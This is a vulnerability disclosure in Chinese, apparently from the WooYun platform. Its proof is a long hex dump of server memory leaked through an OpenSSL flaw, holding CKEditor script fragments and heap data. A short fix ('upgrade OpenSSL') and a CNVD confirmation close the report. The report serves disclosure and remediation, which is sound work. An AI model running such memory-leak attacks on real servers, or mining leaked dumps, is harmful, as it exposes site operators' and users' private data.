22a0: 6C 6F 67 43 6F 6D 6D 61 6E 64 28 22 74 65 6D 70 logCommand("temp
22b0: 6C 61 74 65 73 22 29 29 3B 61 2E 75 69 2E 61 64 lates"));a.ui.ad
22c0: 64 42 75 74 74 6F 6E 26 26 61 2E 75 69 2E 61 64 dButton&&a.ui.ad
22d0: 64 42 75 74 74 6F 6E 28 22 54 65 6D 70 6C 61 74 dButton("Templat
22e0: 65 73 22 2C 7B 6C 61 62 65 6C 3A 61 2E 6C 61 6E es",{label:a.lan
22f0: 67 2E 74 65 6D 70 6C 61 74 65 73 2E 62 75 74 74 g.templates.butt
2300: 6F 6E 2C 0A 63 6F 6D 6D 61 6E 64 3A 22 74 65 6D on,.command:"tem
2310: 70 6C 61 74 65 73 22 2C 74 6F 6F 6C 62 61 72 3A plates",toolbar:
2320: 22 64 6F 63 74 6F 6F 6C 73 2C 31 30 22 7D 29 7D "doctools,10"})}
2330: 7D 29 3B 76 61 72 20 62 3D 7B 7D 2C 63 3D 7B 7D });var b={},c={}
2340: 3B 43 4B 45 44 49 54 4F 52 2E 61 64 64 54 65 6D ;CKEDITOR.addTem
2350: 70 6C 61 74 65 73 3D 66 75 6E 63 74 69 6F 6E 28 plates=function(
2360: 61 2C 63 29 7B 62 5B 61 5D 3D 63 7D 3B 43 4B 45 a,c){b[a]=c};CKE
2370: 44 49 54 4F 52 2E 67 65 74 54 65 6D 70 6C 61 74 DITOR.getTemplat
2380: 65 73 3D 66 75 6E 63 74 69 6F 6E 28 61 29 7B 72 es=function(a){r
2390: 65 74 75 72 6E 20 62 5B 61 5D 7D 3B 43 4B 45 44 eturn b[a]};CKED
23a0: 49 54 4F 52 2E 6C 6F 61 64 54 65 6D 70 6C 61 74 ITOR.loadTemplat
23b0: 65 73 3D 66 75 6E 63 74 69 6F 6E 28 61 2C 62 29 es=function(a,b)
23c0: 7B 66 6F 72 28 76 61 72 20 68 3D 5B 5D 2C 69 3D {for(var h=[],i=
23d0: 30 2C 66 3D 61 2E 6C 65 6E 67 74 68 3B 69 3C 66 0,f=a.length;i<f
23e0: 3B 69 2B 2B 29 69 66 28 21 63 5B 61 5B 69 5D 5D ;i++)if(!c[a[i]]
23f0: 29 7B 68 2E 70 75 73 68 28 61 5B 69 5D 29 3B 63 ){h.push(a[i]);c
2400: 5B 61 5B 69 5D 5D 3D 31 7D 68 2E 6C 65 6E 67 74 [a[i]]=1}h.lengt
2410: 68 3F 43 4B 45 44 49 54 4F 52 2E 73 63 72 69 70 h?CKEDITOR.scrip
2420: 74 4C 6F 61 64 65 72 2E 6C 6F 61 64 28 68 2C 62 tLoader.load(h,b
2430: 29 3A 73 65 74 54 69 6D 65 6F 75 74 28 62 2C 30 ):setTimeout(b,0
2440: 29 7D 7D 28 29 2C 43 4B 45 44 49 54 4F 52 2E 63 )}}(),CKEDITOR.c
2450: 6F 6E 66 69 67 2E 74 65 6D 70 6C 61 74 65 73 5F onfig.templates_
2460: 66 69 6C 65 73 3D 5B 43 4B 45 44 49 54 4F 52 2E files=[CKEDITOR.
2470: 67 65 74 55 72 6C 28 22 70 6C 75 67 69 6E 73 2F getUrl("plugins/
2480: 74 65 6D 70 6C 61 74 65 73 2F 74 65 6D 70 6C 61 templates/templa
2490: 74 65 73 2F 64 65 66 61 75 6C 74 2E 6A 73 22 29 tes/default.js")
24a0: 5D 2C 43 4B 45 44 49 54 4F 52 2E 63 6F 6E 66 69 ],CKEDITOR.confi
24b0: 67 2E 74 65 6D 70 6C 61 74 65 73 5F 72 65 70 6C g.templates_repl
24c0: 61 63 65 43 6F 6E 74 65 6E 74 3D 21 30 2C 66 75 aceContent=!0,fu
24d0: 6E 63 74 69 6F 6E 28 29 7B 66 75 6E 63 74 69 6F nction(){functio
24e0: 6E 20 62 28 61 29 7B 66 75 6E 63 74 69 6F 6E 20 n b(a){function
24f0: 62 28 29 7B 66 6F 72 28 76 61 72 20 64 3D 0A 66 b(){for(var d=.f
2500: 28 29 2C 69 3D 43 4B 45 44 49 54 4F 52 2E 74 6F (),i=CKEDITOR.to
2510: 6F 6C 73 2E 63 6C 6F 6E 65 28 61 2E 63 6F 6E 66 ols.clone(a.conf
2520: 69 67 2E 74 6F 6F 6C 62 61 72 47 72 6F 75 70 73 ig.toolbarGroups
2530: 29 7C 7C 63 28 61 29 2C 6C 3D 30 3B 6C 3C 69 2E )||c(a),l=0;l<i.
2540: 6C 65 6E 67 74 68 3B 6C 2B 2B 29 7B 76 61 72 20 length;l++){var
2550: 6E 3D 69 5B 6C 5D 3B 69 66 28 6E 21 3D 22 2F 22 n=i[l];if(n!="/"
2560: 29 7B 74 79 70 65 6F 66 20 6E 3D 3D 22 73 74 72 ){typeof n=="str
2570: 69 6E 67 22 26 26 28 6E 3D 69 5B 6C 5D 3D 7B 6E ing"&&(n=i[l]={n
2580: 61 6D 65 3A 6E 7D 29 3B 76 61 72 20 6D 2C 6F 3D ame:n});var m,o=
2590: 6E 2E 67 72 6F 75 70 73 3B 69 66 28 6F 29 66 6F n.groups;if(o)fo
25a0: 72 28 76 61 72 20 71 3D 30 3B 71 3C 6F 2E 6C 65 r(var q=0;q<o.le
25b0: 6E 67 74 68 3B 71 2B 2B 29 7B 6D 3D 6F 5B 71 5D ngth;q++){m=o[q]
25c0: 3B 28 6D 3D 64 5B 6D 5D 29 26 26 65 28 6E 2C 6D ;(m=d[m])&&e(n,m
25d0: 29 7D 28 6D 3D 64 5B 6E 2E 6E 61 6D 65 5D 29 26 )}(m=d[n.name])&
25e0: 26 65 28 6E 2C 6D 29 7D 7D 72 65 74 75 72 6E 20 &e(n,m)}}return
25f0: 69 7D 66 75 6E 63 74 69 6F 6E 20 66 28 29 7B 76 i}function f(){v
2600: 61 72 20 62 3D 7B 7D 2C 66 2C 64 2C 63 3B 66 6F ar b={},f,d,c;fo
2610: 72 28 66 20 69 6E 20 61 2E 75 69 2E 69 74 65 6D r(f in a.ui.item
2620: 73 29 7B 64 3D 61 2E 75 69 2E 69 74 65 6D 73 5B s){d=a.ui.items[
2630: 66 5D 3B 63 3D 64 2E 74 6F 6F 6C 62 61 72 7C 7C f];c=d.toolbar||
2640: 22 6F 74 68 65 72 73 22 3B 63 3D 63 2E 73 70 6C "others";c=c.spl
2650: 69 74 28 22 2C 22 29 3B 64 3D 63 5B 30 5D 3B 63 it(",");d=c[0];c
2660: 3D 70 61 72 73 65 49 6E 74 28 63 5B 31 5D 7C 7C =parseInt(c[1]||
2670: 2D 31 2C 31 30 29 3B 62 5B 64 5D 7C 7C 28 62 5B -1,10);b[d]||(b[
2680: 64 5D 3D 5B 5D 29 3B 62 5B 64 5D 2E 70 75 73 68 d]=[]);b[d].push
2690: 28 7B 6E 61 6D 65 3A 66 2C 6F 72 64 65 72 3A 63 ({name:f,order:c
26a0: 7D 29 7D 66 6F 72 28 64 20 69 6E 20 62 29 62 5B })}for(d in b)b[
26b0: 64 5D 3D 62 5B 64 5D 2E 73 6F 72 74 28 66 75 6E d]=b[d].sort(fun
26c0: 63 74 69 6F 6E 28 61 2C 62 29 7B 72 65 74 75 72 ction(a,b){retur
26d0: 6E 20 61 2E 6F 72 64 65 72 3D 3D 62 2E 6F 72 64 n a.order==b.ord
26e0: 65 72 3F 30 3A 62 2E 6F 72 64 65 72 3C 30 3F 2D er?0:b.order<0?-
26f0: 31 3A 61 2E 6F 72 64 65 72 3C 0A 30 3F 31 3A 61 1:a.order<.0?1:a
2700: 2E 6F 72 64 65 72 3C 62 2E 6F 72 64 65 72 3F 2D .order<b.order?-
2710: 31 3A 31 7D 29 3B 72 65 74 75 72 6E 20 62 7D 66 1:1});return b}f
2720: 75 6E 63 74 69 6F 6E 20 65 28 61 2C 62 29 7B 69 unction e(a,b){i
2730: 66 28 62 2E 6C 65 6E 67 74 68 29 7B 61 2E 69 74 f(b.length){a.it
2740: 65 6D 73 3F 61 2E 69 74 65 6D 73 2E 70 75 73 68 ems?a.items.push
2750: 28 22 2D 22 29 3A 61 2E 69 74 65 6D 73 3D 5B 5D ("-"):a.items=[]
2760: 3B 66 6F 72 28 76 61 72 20 66 3B 66 3D 62 2E 73 ;for(var f;f=b.s
2770: 68 69 66 74 28 29 3B 29 61 2E 69 74 65 6D 73 2E hift();)a.items.
2780: 70 75 73 68 28 66 2E 6E 61 6D 65 29 7D 7D 76 61 push(f.name)}}va
2790: 72 20 64 3D 61 2E 63 6F 6E 66 69 67 2E 74 6F 6F r d=a.config.too
27a0: 6C 62 61 72 3B 74 79 70 65 6F 66 20 64 3D 3D 22 lbar;typeof d=="
27b0: 73 74 72 69 6E 67 22 26 26 28 64 3D 61 2E 63 6F string"&&(d=a.co
27c0: 6E 66 69 67 5B 22 74 6F 6F 6C 62 61 72 5F 22 2B nfig["toolbar_"+
27d0: 64 5D 29 3B 72 65 74 75 72 6E 20 61 2E 74 6F 6F d]);return a.too
27e0: 6C 62 61 72 3D 64 7C 7C 62 28 29 7D 66 75 6E 63 lbar=d||b()}func
27f0: 74 69 6F 6E 20 63 28 61 29 7B 72 65 74 75 72 6E tion c(a){return
2800: 20 61 2E 5F 2E 74 6F 6F 6C 62 61 72 47 72 6F 75 a._.toolbarGrou
2810: 70 73 7C 7C 28 61 2E 5F 2E 74 6F 6F 6C 62 61 72 ps||(a._.toolbar
2820: 47 72 6F 75 70 73 3D 5B 7B 6E 61 6D 65 3A 22 64 Groups=[{name:"d
2830: 6F 63 75 6D 65 6E 74 22 2C 67 72 6F 75 70 73 3A ocument",groups:
2840: 5B 22 6D 6F 64 65 22 2C 22 64 6F 63 75 6D 65 6E ["mode","documen
2850: 74 22 2C 22 64 6F 63 74 6F 6F 6C 73 22 5D 7D 2C t","doctools"]},
2860: 7B 6E 61 6D 65 3A 22 63 6C 69 70 62 6F 61 72 64 {name:"clipboard
2870: 22 2C 67 72 6F 75 70 73 3A 5B 22 63 6C 69 70 62 ",groups:["clipb
2880: 6F 61 72 64 22 2C 22 75 6E 64 6F 22 5D 7D 2C 7B oard","undo"]},{
2890: 6E 61 6D 65 3A 22 65 64 69 74 69 6E 67 22 2C 67 name:"editing",g
28a0: 72 6F 75 70 73 3A 5B 22 66 69 6E 64 22 2C 22 73 roups:["find","s
28b0: 65 6C 65 63 74 69 6F 6E 22 2C 22 73 70 65 6C 6C election","spell
28c0: 63 68 65 63 6B 65 72 22 5D 7D 2C 7B 6E 61 6D 65 checker"]},{name
28d0: 3A 22 66 6F 72 6D 73 22 7D 2C 22 2F 22 2C 7B 6E :"forms"},"/",{n
28e0: 61 6D 65 3A 22 62 61 73 69 63 73 74 79 6C 65 73 ame:"basicstyles
28f0: 22 2C 0A 67 72 6F 75 70 73 3A 5B 22 62 61 73 69 ",.groups:["basi
2900: 63 73 74 79 6C 65 73 22 2C 22 63 6C 65 61 6E 75 cstyles","cleanu
2910: 70 22 5D 7D 2C 7B 6E 61 6D 65 3A 22 70 61 72 61 p"]},{name:"para
2920: 67 72 61 70 68 22 2C 67 72 6F 75 70 73 3A 5B 22 graph",groups:["
2930: 6C 69 73 74 22 2C 22 69 6E 64 65 6E 74 22 2C 22 list","indent","
2940: 62 6C 6F 63 6B 73 22 2C 22 61 6C 69 67 6E 22 5D blocks","align"]
2950: 7D 2C 7B 6E 61 6D 65 3A 22 6C 69 6E 6B 73 22 7D },{name:"links"}
2960: 2C 7B 6E 61 6D 65 3A 22 69 6E 73 65 72 74 22 7D ,{name:"insert"}
2970: 2C 22 2F 22 2C 7B 6E 61 6D 65 3A 22 73 74 79 6C ,"/",{name:"styl
2980: 65 73 22 7D 2C 7B 6E 61 6D 65 3A 22 63 6F 6C 6F es"},{name:"colo
2990: 72 73 22 7D 2C 7B 6E 61 6D 65 3A 22 74 6F 6F 6C rs"},{name:"tool
29a0: 73 22 7D 2C 7B 6E 61 6D 65 3A 22 6F 74 68 65 72 s"},{name:"other
29b0: 73 22 7D 2C 7B 6E 61 6D 65 3A 22 61 62 6F 75 74 s"},{name:"about
29c0: 22 7D 5D 29 7D 76 61 72 20 61 3D 66 75 6E 63 74 "}])}var a=funct
29d0: 69 6F 6E 28 29 7B 74 68 69 73 2E 74 6F 6F 6C 62 ion(){this.toolb
29e0: 61 72 73 3D 5B 5D 3B 74 68 69 73 2E 66 6F 63 75 ars=[];this.focu
29f0: 73 43 6F 6D 6D 61 6E 64 45 78 65 63 75 74 65 64 sCommandExecuted
2a00: 3D 66 61 6C 73 65 7D 3B 61 2E 70 72 6F 74 6F 74 =false};a.protot
2a10: 79 70 65 2E 66 6F 63 75 73 3D 66 75 6E 63 74 69 ype.focus=functi
2a20: 6F 6E 28 29 7B 66 6F 72 28 76 61 72 20 61 3D 30 on(){for(var a=0
2a30: 2C 62 3B 62 3D 74 68 69 73 2E 74 6F 6F 6C 62 61 ,b;b=this.toolba
2a40: 72 73 5B 61 2B 2B 5D 3B 29 66 6F 72 28 76 61 72 rs[a++];)for(var
2a50: 20 66 3D 30 2C 63 3B 63 3D 62 2E 69 74 65 6D 73 f=0,c;c=b.items
2a60: 5B 66 2B 2B 5D 3B 29 69 66 28 63 2E 66 6F 63 75 [f++];)if(c.focu
2a70: 73 29 7B 63 2E 66 6F 63 75 73 28 29 3B 72 65 74 s){c.focus();ret
2a80: 75 72 6E 7D 7D 3B 76 61 72 20 65 3D 7B 6D 6F 64 urn}};var e={mod
2a90: 65 73 3A 7B 77 79 73 69 10 80 00 00 00 00 00 00 es:{wysi........
2aa0: 10 10 00 00 00 00 00 00 18 0C D8 15 00 00 00 00 ................
2ab0: 20 0C D8 15 00 00 00 00 30 0C D8 15 00 00 00 00 .......0.......
2ac0: 00 00 00 00 00 00 00 00 B0 0F 00 00 00 00 00 00 ................
2ad0: 20 FC D7 15 00 00 00 00 80 1A D8 15 00 00 00 00 ...............
2ae0: E8 14 D8 15 00 00 00 00 00 00 00 00 00 00 00 00 ................
2af0: 00 EE D5 15 00 00 00 00 48 54 54 50 00 00 00 00 ........HTTP....
2b00: 10 15 77 8F 2E 2B 00 00 68 05 D8 15 00 00 00 00 ..w..+..h.......
2b10: 70 43 D3 15 00 00 00 00 C8 FE D4 15 00 00 00 00 pC..............
2b20: 98 71 D5 15 00 00 00 00 CF 17 44 00 00 00 00 00 .q........D.....
2b30: 2F FF 42 00 00 00 00 00 00 00 00 00 00 00 00 00 /.B.............
2b40: 50 0C D8 15 00 00 00 00 18 14 D8 15 00 00 00 00 P...............
2b50: 00 00 00 00 00 00 00 00 40 64 D7 15 00 00 00 00 ........@d......
2b60: E0 FC D7 15 00 00 00 00 F0 07 D8 15 00 00 00 00 ................
2b70: 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2b80: 30 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 0...............
2b90: 20 FC D7 15 00 00 00 00 F0 07 D8 15 00 00 00 00 ...............
2ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2bc0: 00 00 00 00 00 00 00 00 B0 08 D8 15 00 00 00 00 ................
2bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2be0: 50 08 D8 15 00 00 00 00 00 00 00 00 00 00 00 00 P...............
2bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c10: E0 08 D8 15 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c60: 80 08 D8 15 00 00 00 00 10 09 D8 15 00 00 00 00 ................
2c70: 00 00 00 00 00 00 00 00 F8 32 5D 00 00 00 00 00 .........2].....
2c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2c90: 00 0C D8 15 00 00 00 00 01 00 00 00 00 00 00 00 ................
2ca0: 08 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
2cb0: 20 FC D7 15 00 00 00 00 11 00 00 00 00 00 00 00 ...............
2cc0: 91 29 D3 15 00 00 00 00 FF FF FF FF FF FF FF FF .)..............
2cd0: FF FF FF FF FF FF FF FF 82 00 00 00 00 00 00 00 ................
2ce0: 60 FE D7 15 00 00 00 00 A8 01 D8 15 00 00 00 00 `...............
2cf0: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d00: 30 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 0...............
2d10: 20 FC D7 15 00 00 00 00 90 01 00 00 00 00 00 00 ...............
2d20: 0F 00 00 00 00 00 00 00 78 16 D8 15 00 00 00 00 ........x.......
2d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2d90: 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 ................
2da0: 09 00 00 00 00 00 00 00 20 17 D8 15 00 00 00 00 ........ .......
2db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2df0: 00 00 00 00 00 00 00 00 0B 00 00 00 00 00 00 00 ................
2e00: 00 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF ................
2e10: 98 11 D8 15 00 00 00 00 00 00 00 00 00 00 00 00 ................
2e20: A6 97 B4 55 00 00 00 00 55 01 00 00 00 00 00 00 ...U....U.......
2e30: 02 00 00 00 00 00 00 00 E9 03 00 00 00 00 00 00 ................
2e40: 00 00 00 00 00 00 00 00 70 29 D3 15 00 00 00 00 ........p)......
2e50: 0C 00 00 00 00 00 00 00 74 29 D3 15 00 00 00 00 ........t)......
2e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2e70: 03 00 00 00 00 00 00 00 7D 29 D3 15 00 00 00 00 ........})......
2e80: 0C 00 00 00 00 00 00 00 74 29 D3 15 00 00 00 00 ........t)......
2e90: 03 00 00 00 00 00 00 00 70 29 D3 15 00 00 00 00 ........p)......
2ea0: 08 00 00 00 00 00 00 00 81 29 D3 15 00 00 00 00 .........)......
2eb0: 00 00 00 00 00 00 00 00 70 FC D7 15 00 00 00 00 ........p.......
2ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2ee0: 0C 00 00 00 00 00 00 00 20 A7 47 00 00 00 00 00 ........ .G.....
2ef0: 00 00 00 00 00 00 00 00 F0 06 D8 15 00 00 00 00 ................
2f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2f20: B0 00 00 00 00 00 00 00 94 01 00 00 00 00 00 00 ................
2f30: 00 00 00 00 00 00 00 00 40 EE D5 15 00 00 00 00 ........@.......
2f40: 00 00 00 00 00 00 00 00 08 0B 43 00 00 00 00 00 ..........C.....
2f50: 78 14 D8 15 00 00 00 00 C9 01 00 04 D8 82 02 00 x...............
2f60: 00 27 00 01 00 00 00 00 00 00 00 00 00 00 00 00 .'..............
2f70: 0E 60 D4 2E 0E 8D 36 24 0C 00 00 00 00 00 00 00 .`....6$........
2f80: 63 6F 6E 74 65 6E 74 2D 74 79 70 65 74 68 65 00 content-typethe.
2f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2fa0: B4 7C D7 15 00 00 00 00 A7 7C D7 15 00 00 00 00 .|.......|......
2fb0: A9 7C D7 15 00 00 00 00 B4 7C D7 15 00 00 00 00 .|.......|......
2fc0: 74 29 D3 15 00 00 00 00 80 29 D3 15 00 00 00 00 t).......)......
2fd0: 7D 29 D3 15 00 00 00 00 00 00 00 00 00 00 00 00 })..............
2fe0: 70 29 D3 15 00 00 00 00 89 29 D3 15 00 00 00 00 p).......)......
2ff0: 72 29 D3 15 00 00 00 00 00 00 00 00 00 00 00 00 r)..............
3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3020: 00 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 ................
3030: 0D AB 01 00 00 00 00 00 03 00 00 00 00 00 00 00 ................
3040: C2 16 D8 15 00 00 00 00 0E 00 00 00 00 00 00 00 ................
3050: C6 16 D8 15 00 00 00 00 D5 16 D8 15 00 00 00 00 ................
3060: 01 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 ................
3070: 9B 2D 5D 00 00 00 00 00 1D 00 00 00 00 00 00 00 .-].............
3080: 30 0F D8 15 00 00 00 00 20 00 04 00 20 00 04 00 0....... ... ...
3090: 01 00 00 00 00 00 00 00 0D 00 00 00 00 00 00 00 ................
30a0: 83 1F 5D 00 00 00 00 00 10 00 00 00 00 00 00 00 ..].............
30b0: 4E 0F D8 15 00 00 00 00 86 00 02 00 A6 00 02 00 N...............
30c0: 01 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ................
30d0: 56 1F 5D 00 00 00 00 00 04 00 00 00 00 00 00 00 V.].............
30e0: 56 F2 5C 00 00 00 00 00 9C 00 07 00 A0 00 07 00 V.\.............
30f0: A6 00 07 00 B6 00 07 00 BC 00 07 00 C1 00 07 00 ................
3100: C4 00 07 00 C7 00 07 00 CC 00 06 00 D2 00 06 00 ................
3110: D8 00 06 00 DD 00 06 00 E1 00 06 00 EA 00 06 00 ................
3120: F1 00 06 00 FF 00 06 00 0E 01 06 00 14 01 06 00 ................
3130: 1C 01 06 00 1F 01 06 00 28 01 06 00 30 01 06 00 ........(...0...
3140: 36 01 06 00 39 01 06 00 3F 01 06 00 5A 01 06 00 6...9...?...Z...
3150: 72 01 06 00 83 01 06 00 8B 01 06 00 95 01 05 00 r...............
3160: AA 01 05 00 BE 01 05 00 DB 01 05 00 0D 02 05 00 ................
3170: 30 02 05 00 47 02 05 00 66 02 05 00 70 02 05 00 0...G...f...p...
3180: 8D 02 05 00 CC 02 05 00 0E 03 05 00 3D 03 04 00 ............=...
3190: 68 03 04 00 E6 03 04 00 3D 04 04 00 AD 04 04 00 h.......=.......
31a0: E2 04 04 00 44 05 04 00 DA 05 04 00 A5 06 03 00 ....D...........
31b0: 76 07 03 00 A9 08 03 00 8F 09 03 00 1E 0B 03 00 v...............
31c0: EE 0D 02 00 1F 10 02 00 AD 14 02 00 34 1B 01 00 ............4...
31d0: CC 24 01 00 00 40 00 00 97 0E 68 12 79 02 05 00 .$...@....h.y...
31e0: AF 02 05 00 D9 02 05 00 02 03 04 00 2C 03 04 00 ............,...
31f0: 5E 03 04 00 9D 03 04 00 EA 03 04 00 2A 04 04 00 ^...........*...
3200: 74 04 04 00 D2 04 2D 13 87 0D 04 00 B1 05 04 00 t.....-.........
3210: 2E 06 03 00 FB 06 03 00 00 00 2E 11 00 00 00 00 ................
3220: 4C 13 00 00 00 00 7B 02 BA 0C 02 00 8A 0E 02 00 L.....{.........
3230: 26 11 02 00 2B 14 02 00 AF 1A 01 00 0C 12 01 00 &...+...........
3240: 00 40 00 00 22 2B 5F 5F 74 68 69 73 2E 5F 5F 6D .@.."+__this.__m
3250: 0B 08 BB 0A F0 12 5F 10 29 3B 76 61 72 20 74 6F ......_.);var to
3260: 70 50 00 00 65 07 6F 6E 3D 67 65 74 50 6F 73 69 pP..e.on=getPosi
3270: 74 69 6F 6E 28 74 6F 70 C8 13 72 29 3B 74 6F 70 tion(top..r);top
3280: 50 6F 73 74 5D 13 6E 2E 70 75 73 68 28 70 00 00 Post].n.push(p..
3290: 63 0C 64 0C 00 00 E2 0E 6E 13 70 42 61 72 29 2E c.d.....n.pBar).
32a0: 63 73 73 28 22 77 21 0F BA 0F F6 0E F7 0E 5E 12 css("w!.......^.
32b0: 17 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
32c0: 36 03 86 11 A5 09 4F 00 00 00 5C 0F 70 42 61 72 6.....O...\.pBar
32d0: 29 2E 63 73 73 28 22 68 65 69 67 68 74 22 29 29 ).css("height"))
32e0: 00 00 A8 0E 10 14 6C 64 50 6F 73 69 74 69 6F 6E ......ldPosition
32f0: 2C 07 76 0D 00 00 F0 13 00 00 00 00 19 14 6E 3B ,.v...........n;
3300: 76 61 72 20 70 61 67 65 42 61 72 3D 67 28 22 6E var pageBar=g("n
3310: 6F 74 69 63 D5 0F 00 00 FD 0E D8 12 00 00 18 07 otic............
3320: 15 14 94 01 95 01 00 00 D2 07 EB 12 00 00 AE 0D ................
3330: 00 00 00 00 00 00 00 00 5F 00 00 00 4B 14 29 0D ........_...K.).
3340: BE 07 8D 0C 00 00 77 02 5A 0E 00 00 14 14 5D 3B ......w.Z.....];
3350: 76 61 72 20 70 61 F4 0E 00 00 23 13 01 02 8A 0C var pa....#.....
3360: 67 65 74 50 6F 73 69 74 69 6F 24 00 8D 09 67 65 getPositio$...ge
3370: 42 61 72 29 3B 70 61 67 65 50 C1 0D 74 69 6F 6E Bar);pageP..tion
3380: 2E 70 75 73 00 00 5B 0A 39 02 E2 11 2A 0E DF 11 .pus..[.9...*...
3390: 28 70 61 67 65 42 61 72 29 2E 63 73 73 28 DD 13 (pageBar).css(..
33a0: D3 04 00 00 00 00 5C 13 F6 13 61 67 65 50 6F 73 ......\...agePos
33b0: 74 69 00 00 77 14 45 06 DF 12 E0 12 72 73 65 49 ti..w.E.....rseI
33c0: 6E 74 28 24 28 70 36 13 00 00 00 00 00 00 51 0E nt($(p6.......Q.
33d0: 34 0B 22 68 65 69 67 68 74 22 44 14 29 3B 62 61 4."height"D.);ba
33e0: 72 4F 6C 64 50 6F 73 69 74 69 6F 6E 2E 70 61 67 rOldPosition.pag
33f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3490: F8 0F D8 15 00 00 00 00 00 00 00 00 00 00 00 00 ................
34a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
34b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
34c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
34d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

漏洞证明:

如上图

修复方案:

升级Openssl

版权声明:转载请注明来源 404notfound@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-18 17:13

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给江西分中心,由江西分中心后续协调网站管理单位处置。

最新状态:

暂无